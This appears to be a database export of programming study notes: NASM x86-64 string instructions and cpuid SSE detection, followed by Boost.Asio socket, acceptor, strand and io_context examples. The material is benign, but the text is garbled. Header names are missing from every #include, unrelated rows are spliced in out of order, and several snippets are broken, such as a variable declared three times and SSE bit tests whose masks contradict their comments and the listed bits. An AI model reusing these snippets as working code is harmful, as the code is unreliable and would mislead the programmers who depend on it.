stosb\n rep stosb text txt 2024-07-28 09:57:26.373775 -686 142 lea rsi, [buffer1 + length - 4]\n lea rdi, [buffer2 + length]\n mov rcx, 27 ; copy only 27 characters\n std ; std sets DF, cld clears DF\n rep movsb text txt 2024-07-28 09:57:26.393745 -687 142 leave\n ret code txt 2024-07-28 09:57:26.414178 -688 143 When using `movsb`, the content of `DF` (the direction flag) is taken into account.\nWhen `DF=0`, `rsi` and `rdi` are increased by 1, pointing to the next higher memory address.\nWhen `DF=1`, `rsi` and `rdi` are decreased by 1, pointing to the next lower memory address.\nThis means that in our example with `DF=1`, `rsi` needs to point to the address of the highest memory address to be copied and decrease from there. In addition, `rdi` needs to point to the highest destination address and decrease from there.\nThe intention is to “walk backward” when copying, that is, decreasing `rsi` and `rdi` with every loop.\n**NOTE**: `rsi` and `rdi` both are decreased; you cannot use the `DF` to increase one register and decrease another (reversing the string). text txt 2024-07-28 09:57:27.483504 -689 143 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:27.5052 -690 143 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:27.52708 -691 143 section .text\n global main text txt 2024-07-28 09:57:27.548351 -692 143 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:27.569081 -693 143 ; reverse copy the buffer1 into buffer2 without a loop\n mov rax, 48 ; fill buffer2 with ascii 0\n mov rdi, buffer2 ; we don't increment rdi with stosb\n mov rcx, length ; we don't decrement rcx or loop with stosb\n rep stosb text txt 2024-07-28 09:57:27.590301 -694 143 lea rsi, [buffer1 + length - 4]\n lea rdi, [buffer2 + length]\n mov rcx, 27 ; copy only 27 characters\n std ; std sets DF, cld clears DF which reverses direction\n rep movsb ; with DF set, decrements rsi and rdi until rcx reaches 0 text txt 2024-07-28 09:57:27.612147 -695 143 leave\n ret code txt 2024-07-28 09:57:27.632593 -696 144 Put the address of the first (source) string in `rsi`, the address of the second string (destination) in `rdi`, and the string length in `rcx`. Just to be sure, we clear the direction flag, `DF`, with `cld`. So, we walk forward in the strings. text txt 2024-07-28 09:57:29.116777 -697 144 The instruction `cmpsb` compares two bytes and sets the status flag `ZF` to `1` if the two compared bytes are equal or to `0` if the 2 bytes are not equal. `rcx` is adjusted only at the end of a loop, which was never completed, so we have to adjust `rcx` (decrease it with 1). The resulting position is returned to main in `rax`. text txt 2024-07-28 09:57:29.138713 -698 144 We will use repe, a version of `rep`, meaning “repeat while equal.” As before, `cmpsb` sets `ZF` according to the comparison, and `ZF=1` means the bytes are equal. As soon as `cmpsb` sets `ZF` equal to `0`, the `repe` loop is ended, and `rcx` can be used to compute the position where the differing character appeared. If the strings are completely the same, then `rcx` will be `0` and `ZF` will be `1`. After `repe`, the instruction `je` tests if `ZF` equals `1`. If `ZF` is `1`, the strings are equal; if `0`, the strings are not equal. We use `rcx` to calculate the differing position, so there’s no need to adjust `rcx`, because `repe` decreases `rcx` first in every loop. text txt 2024-07-28 09:57:29.161013 -699 144 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:29.18332 -700 144 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:29.203988 -701 144 section .text\n global main text txt 2024-07-28 09:57:29.225987 -702 144 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:29.246544 -703 144 ; method 1\n;=====================\n lea rdi, [buffer1]\n lea rsi, [buffer2]\n mov rdx, length text txt 2024-07-28 09:57:29.267461 -704 144 cld ; clear DF flag text txt 2024-07-28 09:57:29.288747 -705 144 .str_loop:\n cmpsb\n jne .notequal\n loop .str_loop text txt 2024-07-28 09:57:29.310148 -706 144 xor rax, rax text txt 2024-07-28 09:57:29.331489 -707 144 ; method 2\n;=====================\n.notequal:\n mov rax, buffer2\n dec rcx text txt 2024-07-28 09:57:29.352006 -708 144 sub rax, rcx text txt 2024-07-28 09:57:29.373413 -709 144 mov rcx, rdx\n cld text txt 2024-07-28 09:57:29.394941 -710 144 repe cmpsb\n je .equals text txt 2024-07-28 09:57:29.415839 -711 144 mov rax, buffer2\n sub rax, rcx text txt 2024-07-28 09:57:29.437651 -712 144 leave\n ret code txt 2024-07-28 09:57:29.459322 -713 145 The scanning works similar to comparing, but with `repne`, “repeat while not equal,” instead of `repe`. We also use `lodsb` and load the byte at address `rsi` into `rax`. The instruction `scasb` compares the byte in `al` with the byte pointed to by `rdi` and sets (1=equal) or resets (0=not equal) the `ZF` flag accordingly. The instruction `repne` looks at the status flag and continues if `ZF = 0`; that is, the 2 bytes are not equal. If the 2 bytes are equal, `scasb` sets `ZF` to `1`, the `repne` loop stops, and `rcx` can be used to compute the position of the byte in the string. text txt 2024-07-28 09:57:30.407879 -714 145 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:30.42861 -715 145 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:30.448462 -716 145 section .text\n global main text txt 2024-07-28 09:57:30.470146 -717 145 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:30.491262 -718 145 mov rcx, rdx\n lodsb\n cld\n repne scasb\n jne .charnotfound text txt 2024-07-28 09:57:30.513007 -719 145 mov rax, length text txt 2024-07-28 09:57:30.532278 -720 145 .charnotfound:\n sub rax, rcx text txt 2024-07-28 09:57:30.554179 -721 145 leave\n ret code txt 2024-07-28 09:57:30.573987 -722 146 By appending an `h` at the end of a number: text txt 2024-07-28 09:57:30.861658 -723 146 2000000h code txt 2024-07-28 09:57:30.881089 -724 147 You first put a specific parameter in `eax`, then execute the instruction `cpuid`, and finally check the returned value in `ecx` and `edx`.\nIndeed, `cpuid` uses 32-bit registers. text txt 2024-07-28 09:57:31.626271 -725 147 Based on processor manual, SSE bits are as follows: text txt 2024-07-28 09:57:31.64711 -726 147 * **sse**: edx:25\n* **sse2**: edx:26\n* **sse3**: ecx:1\n* **ssse3**: ecx:1 and ecx:8\n* **sse4.1**: ecx:19\n* **sse4.2**: ecx:20 text txt 2024-07-28 09:57:31.667649 -727 147 section .text\n global main text txt 2024-07-28 09:57:31.688848 -728 147 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:31.709317 -729 147 mov eax, 1\n cpuid text txt 2024-07-28 09:57:31.73137 -730 147 leave\n ret code txt 2024-07-28 09:57:31.753704 -731 148 extern printf text txt 2024-07-28 09:57:34.550918 -732 148 section .data\n fmt_sse42 db "sse4_2", 10, 0\n fmt_sse41 db "sse4_1", 10, 0\n fmt_ssse3 db "ssse3", 10, 0\n fmt_sse3 db "sse3", 10, 0\n fmt_sse2 db "sse2", 10, 0\n fmt_sse db "sse", 10, 0\n fmt_sep db ",", 10, 0 text txt 2024-07-28 09:57:34.572084 -733 148 section .text\n global main text txt 2024-07-28 09:57:34.592347 -734 148 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.613333 -735 148 mov eax, 1\n cpuid\n mov r12, rcx ; store the half result of cpuid\n mov r13, rdx ; store the half result of cpuid text txt 2024-07-28 09:57:34.6347 -736 148 call sse\n call sse2\n call sse3\n call ssse3\n call sse41\n call sse42 text txt 2024-07-28 09:57:34.65475 -737 148 xor rax, rax\n leave\n ret text txt 2024-07-28 09:57:34.676125 -738 148 sse:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.696975 -739 148 ; call also be done with bt instruction: bt r13, 25\n test r13, 2000000h ; test bit 25\n jz .sse_unsupported text txt 2024-07-28 09:57:34.718287 -740 148 xor rax, rax\n mov rdi, fmt_sse\n call printf text txt 2024-07-28 09:57:34.739571 -741 148 .sse_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.76032 -742 148 sse2:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.780372 -743 148 test r13, 4000000h ; test bit 26\n jz .sse2_unsupported text txt 2024-07-28 09:57:34.801282 -744 148 xor rax, rax\n mov rdi, fmt_sse2\n call printf text txt 2024-07-28 09:57:34.822337 -745 148 .sse2_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.843336 -746 148 sse3:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.863456 -747 148 test r12, 1 ; test bit 0\n jz .sse3_unsupported text txt 2024-07-28 09:57:34.884324 -748 148 xor rax, rax\n mov rdi, fmt_sse3\n call printf text txt 2024-07-28 09:57:34.9055 -749 148 .sse3_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.925946 -750 148 ssse3:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.947058 -751 148 test r12, 9 ; test bit 0\n jz .ssse3_unsupported text txt 2024-07-28 09:57:34.967438 -752 148 xor rax, rax\n mov rdi, fmt_ssse3\n call printf text txt 2024-07-28 09:57:34.988575 -753 148 .ssse3_unsupported:\n leave\n ret text txt 2024-07-28 09:57:35.008456 -754 148 sse41:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:35.028682 -755 148 test r12, 80000h ; test bit 19\n jz .sse41_unsupported text txt 2024-07-28 09:57:35.050297 -756 148 xor rax, rax\n mov rdi, fmt_sse41\n call printf text txt 2024-07-28 09:57:35.071449 -757 148 .sse41_unsupported:\n leave\n ret text txt 2024-07-28 09:57:35.091027 -758 148 sse42:\n push rbp\n mov rbp, rsp\n test r12, 100000h ; test bit 20\n jz .sse42_unsupported text txt 2024-07-28 09:57:35.110648 -759 148 xor rax, rax\n mov rdi, fmt_sse42\n call printf text txt 2024-07-28 09:57:35.131941 -760 148 .sse42_unsupported:\n leave\n ret code txt 2024-07-28 09:57:35.152822 -761 149 16 additional 128-bit registers of `xmm`: text txt 2024-07-28 09:57:35.444304 -762 149 * xmm0\n* ...\n* xmm15 text txt 2024-07-28 09:57:35.466133 -763 150 The `xmm` registers can contain **scalar data** or **packed data**.\nScalar data means just one value.\nPacked data means multiple values related to each other. text txt 2024-07-28 09:57:35.688534 -764 151 The **AVX** registers are called `ymm` registers and have 256 bits, double the size of `xmm` registers. text txt 2024-07-28 09:57:35.890709 -765 151 There is also **AVX-512** which provides 512 bits registers and are called `zmm` registers. text txt 2024-07-28 09:57:35.91136 -766 152 Data in section `.data` and `.bss` should be aligned on a 16-byte border so that registers can be filled with data once for each block of data. text txt 2024-07-28 09:57:36.095177 -767 153 In **NASM** the assembly directive `align 16` and `alignb 16` can be used in front of the data. text txt 2024-07-28 09:57:36.359083 -768 153 For **AVX**, data should be aligned on a 32 bytes border and for **AVX-512**, data needs to be aligned on a 64 bytes border. text txt 2024-07-28 09:57:36.381237 -769 154 **mxcsr**: MMX Control and Status Register code txt 2024-07-28 09:57:36.634005 -770 155 The TCP/IP standard does not standardize the protocol API implementation;\ntherefore, several API implementations exist. However, the one based on\nBerkeley Sockets API is the most widely used. text txt 2024-07-28 09:57:37.23184 -771 156 #include text txt 2024-07-28 09:57:37.629783 -772 156 int main()\n{\n boost::asio::ip::address_v4 address{boost::asio::ip::address_v4::from_string("127.0.0.1")};\n boost::asio::ip::address_v6 address{boost::asio::ip::address_v6::any()};\n boost::asio::ip::address address{boost::asio::ip::address::from_string("127.0.0.1")};\n boost::asio::ip::port_type port{80};\n} code txt 2024-07-28 09:57:37.651432 -773 157 A pair of values consisting of an IP address and a protocol port number that\nuniquely identifies a particular application running on a particular host in\na computer network is called an endpoint. text txt 2024-07-28 09:57:38.663138 -774 157 The client application uses an endpoint to designate a particular server\napplication it wants to communicate with. text txt 2024-07-28 09:57:38.68632 -775 157 1. Obtain the server application's IP address and port number. The IP address\n should be specified as a string in the dot-decimal (IPv4) or hexadecimal\n (IPv6) notation.\n2. Represent the raw IP address as an object of the `asio::ip::address`\n class.\n3. Instantiate the object of the `asio::ip::tcp::endpoint` class from the\n address object created in step 2 and a port number.\n4. The endpoint is ready to be used to designate the server application in\n Boost.Asio communication related methods. text txt 2024-07-28 09:57:38.708901 -776 157 The server application uses an endpoint to specify a local IP address and a\nport number on which it wants to receive incoming messages from clients. If\nthere is more than one IP address on the host, the server application will\nwant to create a special endpoint representing all IP addresses at once. text txt 2024-07-28 09:57:38.730345 -777 157 1. Obtain the protocol port number on which the server will listen for\n incoming requests.\n2. Create a special instance of the `asio::ip::address` object representing\n all IP addresses available on the host running the server.\n3. Instantiate an object of the `asio::ip::tcp::endpoint` class from the\n address object created in step 2 and a port number.\n4. The endpoint is ready to be used to specify to the operating system that\n the server wants to listen for incoming messages on all IP addresses and a\n particular protocol port number. text txt 2024-07-28 09:57:38.751767 -778 157 #include \n#include text txt 2024-07-28 09:57:38.773008 -779 157 int main()\n{\n boost::asio::ip::address address{boost::asio::ip::address::from_string("localhost")};\n boost::asio::ip::port_type port{80};\n boost::asio::ip::tcp::endpoint endpoint{address, port};\n} code txt 2024-07-28 09:57:38.794229 -780 158 #include text txt 2024-07-28 09:57:39.284294 -781 158 int main()\n{\n unsigned short port{8080};\n auto address{boost::asio::ip::address_v6::any()};\n boost::asio::ip::tcp::endpoint endpoint{address, port};\n} code txt 2024-07-28 09:57:39.306029 -782 158 The IP-protocol-version-agnostic class `asio::ip::address` does not provide\nthe `any()` method. The server application must explicitly specify whether it\nwants to receive requests either on IPv4 or on IPv6 addresses by using the\nobject returned by the `any()` method of either the `asio::ip::address_v4` or\n`asio::ip::address_v6` class correspondingly. text txt 2024-07-28 09:57:39.32776 -783 159 Basically, there are two types of sockets. A socket intended to be used to\nsend and receive data to and from a remote application or to initiate a\nconnection establishment process with it is called an active socket, whereas\na passive socket is the one used to passively wait for incoming connection\nrequests from remote applications. text txt 2024-07-28 09:57:39.758638 -784 159 #include text txt 2024-07-28 09:57:39.778877 -785 159 boost::asio::ip::tcp::socket{}; // active socket\nboost::asio::ip::tcp::acceptor{}; // passive socket code txt 2024-07-28 09:57:39.800023 -786 160 1. Create an instance of the `boost::asio::io_service` class or use the one\n that has been created earlier.\n2. Create an object of the class that represents the transport layer protocol\n (TCP or UDP) and the version of the underlying IP protocol (IPv4 or IPv6)\n over which the socket is intended to communicate.\n3. Create an object representing a socket corresponding to the required\n protocol type. Pass the object of `boost::asio::io_service` class to the\n socket's constructor.\n4. Call the socket's `open()` method, passing the object representing the\n protocol created in step 2 as an argument. text txt 2024-07-28 09:57:40.562914 -787 160 #include text txt 2024-07-28 09:57:40.582783 -788 160 int main()\n{\n boost::asio::io_context service;\n boost::asio::ip::tcp::socket socket{service};\n boost::asio::ip::tcp protocol{boost::asio::ip::tcp::v4()};\n socket.open(protocol);\n socket.close();\n} code txt 2024-07-28 09:57:40.603611 -789 160 The `boost::asio::ip::tcp::socket` constructor throws an exception of the\ntype `boost::system::system_error` if it fails. text txt 2024-07-28 09:57:40.623659 -790 160 In Boost.Asio, opening a socket means associating it with full set of\nparameters describing a specific protocol over which the socket is intended\nto be communicating. When the Boost.Asio socket object is provided with these\nparameters, it has enough information to allocate a real socket object of the\nunderlying operating system. text txt 2024-07-28 09:57:40.644149 -791 161 A passive socket or acceptor socket is a type of socket that is used to wait\nfor connection establishment requests from remote applications that\ncommunicate over the TCP protocol. text txt 2024-07-28 09:57:41.522803 -792 161 This definition has two important implications: text txt 2024-07-28 09:57:41.543327 -793 161 - Passive sockets are used only in server applications or hybrid applications\n that may play both roles of the client and server.\n- Passive sockets are defined only for the TCP protocol. As the UDP protocol\n doesn't imply connection establishment, there is no need for a passive\n socket when communication is performed over UDP. text txt 2024-07-28 09:57:41.56416 -794 161 To create an acceptor socket: text txt 2024-07-28 09:57:41.584233 -795 161 1. Create an instance of the `boost::asio::io_service` class or use the one\nthat has been created earlier.\n2. Create an object of the `boost::asio::ip::tcp` class that represents the TCP\nprotocol and the required version of the underlying IP protocol (IPv4 or\nIPv6).\n3. Create an object of the `boost::asio::ip::tcp::acceptor` class representing\nan acceptor socket, passing the object of the `boost::asio::io_service`\nclass to its constructor.\n4. Call the acceptor socket's `open()` method, passing the object representing\nthe protocol created in step 2 as an argument. text txt 2024-07-28 09:57:41.607344 -796 161 #include text txt 2024-07-28 09:57:41.627822 -797 161 int main()\n{\n boost::asio::io_context service;\n boost::asio::ip::tcp::acceptor acceptor{service};\n boost::asio::ip::tcp protocol{boost::asio::ip::tcp::v6()};\n acceptor.open(protocol);\n acceptor.close();\n} code txt 2024-07-28 09:57:41.649468 -798 162 The I/O context is a channel that is used to access operating system resources\nand establish communication between our program and the operating system that\nperforms I/O requests. text txt 2024-07-28 09:57:42.095134 -799 163 The I/O object has the role of submitting I/O requests. For instance, the\n`tcp::socket` object will provide a socket programming request from our\nprogram to the operating system. text txt 2024-07-28 09:57:42.340505 -800 164 Running the `io_service` object's event processing loop will block the\nexecution of the thread and will run ready handlers until there are no more\nready handlers remaining or until the `io_service` object has been stopped. text txt 2024-07-28 09:57:42.956018 -801 164 #include \n#include text txt 2024-07-28 09:57:42.979069 -802 164 int main()\n{\n boost::asio::io_service service;\n boost::asio::io_service::work work{service};\n service.run();\n // will not be reached: blocking service\n} code txt 2024-07-28 09:57:42.999371 -803 164 The `boost::asio::io_service::work` class is responsible for telling the\n`io_service` object when the work starts and when it has finished. It will\nmake sure that the `io_service::run()` function will not exit during the time\nthe work is underway. Also, it will make sure that the `io_service::run()`\nfunction exits when there is no unfinished work remaining. text txt 2024-07-28 09:57:43.020592 -804 165 The `poll()` function will run the `io_service` object's event processing loop\nwithout blocking the execution of the thread. This will run the handlers until\nthere are no more ready handlers remaining or until the `io_service` object\nhas been stopped. text txt 2024-07-28 09:57:43.552234 -805 165 #include \n#include text txt 2024-07-28 09:57:43.573337 -991 214 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:14.570394 -1274 252 return NULL;\n} code txt 2024-07-28 09:58:55.370282 -806 165 int main()\n{\n boost::asio::io_service service;\n boost::asio::io_service::work work{service};\n service.poll();\n // will be reached: non-blocking service\n} code txt 2024-07-28 09:57:43.594285 -807 166 The `post()` function requests the service to run its works after queueing up\nall the work. So it does not run the works immediately. text txt 2024-07-28 09:57:44.465407 -808 166 Any thread calling `io_service::run()` function will block execution and wait\nfor tasks to be enqueued, or finish existing tasks. Best practice is to attach\n`io_service` to slave threads so that they wait for tasks to be given and\nexecute them while master threads assign new tasks to them. text txt 2024-07-28 09:57:44.485931 -809 166 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:44.507006 -810 166 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:44.528579 -811 166 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:44.549592 -812 166 int main()\n{\n boost::asio::io_service service;\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(std::bind(some_work, 2));\n worker.join();\n} code txt 2024-07-28 09:57:44.570479 -813 167 The `dispatch()` function requests the service to run its works right away\nwithout queueing up. text txt 2024-07-28 09:57:45.49615 -814 167 The `dispatch()` function can be invoked from the current worker thread, while\nthe `post()` function has to wait until the handler of the worker is complete\nbefore it can be invoked. In other words, the `dispatch()` function's events\ncan be executed from the current worker thread even if there are other pending\nevents queued up, while the `post()` function's events have to wait until the\nhandler completes the execution before being allowed to be executed. text txt 2024-07-28 09:57:45.517185 -815 167 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:45.53826 -816 167 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:45.55892 -817 167 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:45.579438 -818 167 int main()\n{\n boost::asio::io_service service;\n std::thread worker{finish_tasks, std::ref(service)};\n boost::asio::dispatch(service, std::bind(some_work, 2));\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:45.600419 -819 168 Strand is a class in the io_service object that provides handler\nexecution serialization. It can be used to ensure the work we have will be\nexecuted serially. text txt 2024-07-28 09:57:46.486656 -820 168 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:46.506771 -821 168 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:46.526348 -822 168 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:46.547882 -823 168 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service};\n std::thread worker{finish_tasks, std::ref(service)};\n strand.post(std::bind(some_work, 2));\n service.post(strand.wrap(std::bind(some_work, 2)));\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:46.570871 -824 168 The `boost::asio::io_context::strand::wrap()` function creates a new handler\nfunction object that will automatically pass the wrapped handler to the strand\nobject's dispatch function when it is called. text txt 2024-07-28 09:57:46.592326 -825 169 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:47.510765 -826 169 std::mutex ostream_lock; text txt 2024-07-28 09:57:47.531877 -827 169 void some_work()\n{\n throw std::runtime_error("i/o failure");\n} text txt 2024-07-28 09:57:47.552649 -828 169 void finish_tasks(boost::asio::io_service& service)\n{\n try\n {\n service.run();\n }\n catch (std::runtime_error const& exp)\n {\n std::lock_guard lock{ostream_lock};\n std::cerr << exp.what() << "\\\\n";\n }\n} text txt 2024-07-28 09:57:47.574656 -829 169 int main()\n{\n boost::asio::io_context service;\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(some_work);\n service.post(some_work); // no more io context to dispatch\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:47.595447 -830 170 #include \n#include \n#include text txt 2024-07-28 09:57:48.440166 -831 170 void some_work()\n{\n std::this_thread::sleep_for(std::chrono::seconds(2));\n} text txt 2024-07-28 09:57:48.461265 -832 170 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:48.482189 -833 170 void timer_handler(boost::system::error_code const&)\n{\n} text txt 2024-07-28 09:57:48.503761 -834 170 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service};\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(some_work); text txt 2024-07-28 09:57:48.525294 -835 170 boost::asio::deadline_timer timer{service};\n timer.expires_from_now(boost::posix_time::seconds(1));\n timer.async_wait(strand.wrap(timer_handler)); text txt 2024-07-28 09:57:48.54677 -836 170 worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:48.568183 -837 171 #include \n#include \n#include text txt 2024-07-28 09:57:49.375772 -838 171 void initialize_service(boost::asio::io_context& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:49.397989 -839 171 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service}; text txt 2024-07-28 09:57:49.418842 -840 171 std::thread worker{initialize_service, std::ref(service)}; text txt 2024-07-28 09:57:49.43909 -841 171 boost::asio::ip::tcp::socket socket{service};\n boost::asio::ip::tcp::resolver resolver{service};\n boost::asio::ip::tcp::resolver::query query{"127.0.0.1", std::to_string(9090)};\n boost::asio::ip::tcp::resolver::iterator iterator = resolver.resolve(query);\n boost::asio::ip::tcp::endpoint endpoint = *iterator; text txt 2024-07-28 09:57:49.461295 -842 171 socket.connect(endpoint);\n socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close(); text txt 2024-07-28 09:57:49.482154 -843 171 worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:49.503704 -844 172 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:50.447319 -845 172 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:50.467778 -846 172 void on_connect(boost::asio::ip::tcp::endpoint const& endpoint)\n{\n std::cout << "connected to " << endpoint.address().to_string() << std::endl;\n} text txt 2024-07-28 09:57:50.489903 -847 172 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n std::thread worker{connection_worker, std::ref(context)}; text txt 2024-07-28 09:57:50.511688 -848 172 boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context}; text txt 2024-07-28 09:57:50.53141 -849 172 boost::asio::ip::tcp::resolver::query query{"127.0.0.1", "9000"};\n boost::asio::ip::tcp::resolver::iterator endpoints = resolver.resolve(query); text txt 2024-07-28 09:57:50.551911 -850 172 boost::asio::ip::tcp::endpoint endpoint = *endpoints;\n socket.async_connect(endpoint, std::bind(on_connect, std::ref(endpoint))); text txt 2024-07-28 09:57:50.572308 -851 172 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n worker.join();\n context.stop();\n} code txt 2024-07-28 09:57:50.593992 -852 173 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:51.822713 -853 173 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:51.84274 -854 173 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:51.864218 -855 173 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:51.887804 -856 173 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:51.908997 -857 173 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:51.929792 -858 173 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:51.950015 -859 173 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:51.971045 -860 173 acceptor.accept(socket); text txt 2024-07-28 09:57:51.990591 -861 173 boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:52.012245 -862 173 acceptor.close();\n socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n context.stop();\n worker.join();\n} code txt 2024-07-28 09:57:52.033711 -863 174 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:53.393146 -864 174 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:53.413728 -865 174 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:53.43519 -866 174 void on_accept(boost::asio::ip::tcp::socket& socket, std::shared_ptr work)\n{\n boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:53.457768 -867 174 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n work.reset();\n} text txt 2024-07-28 09:57:53.478459 -868 174 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n auto work{std::make_shared(context)};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:53.499381 -869 174 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:53.520132 -870 174 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:53.541774 -871 174 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:53.563697 -872 174 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:53.584843 -873 174 acceptor.async_accept(socket, std::bind(on_accept, std::ref(socket), std::move(work))); text txt 2024-07-28 09:57:53.606733 -874 174 worker.join();\n acceptor.close();\n context.stop();\n} code txt 2024-07-28 09:57:53.627831 -875 175 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:56.474221 -876 175 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:56.49464 -877 175 std::vector receive_buffer(4096);\nstd::size_t receive_buffer_index{};\nstd::list> send_buffer; text txt 2024-07-28 09:57:56.515612 -878 175 void connection_worker(boost::asio::io_context&);\nvoid on_send(boost::asio::ip::tcp::socket&, std::list>::iterator);\nvoid send(boost::asio::ip::tcp::socket&, void const*, std::size_t);\nvoid on_receive(boost::asio::ip::tcp::socket&, std::size_t);\nvoid receive(boost::asio::ip::tcp::socket&);\nvoid on_accept(boost::asio::ip::tcp::socket&, std::shared_ptr); text txt 2024-07-28 09:57:56.537261 -879 175 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:56.55658 -880 175 void on_send(boost::asio::ip::tcp::socket& socket, std::list>::iterator node)\n{\n send_buffer.erase(node); text txt 2024-07-28 09:57:56.578278 -881 175 if (!send_buffer.empty())\n {\n boost::asio::async_write(\n socket,\n boost::asio::buffer(send_buffer.front()),\n std::bind(on_send, boost::asio::placeholders::error, send_buffer.begin())\n );\n }\n} text txt 2024-07-28 09:57:56.600764 -882 175 void send(boost::asio::ip::tcp::socket& socket, void const* buffer, std::size_t length)\n{\n std::vector output;\n 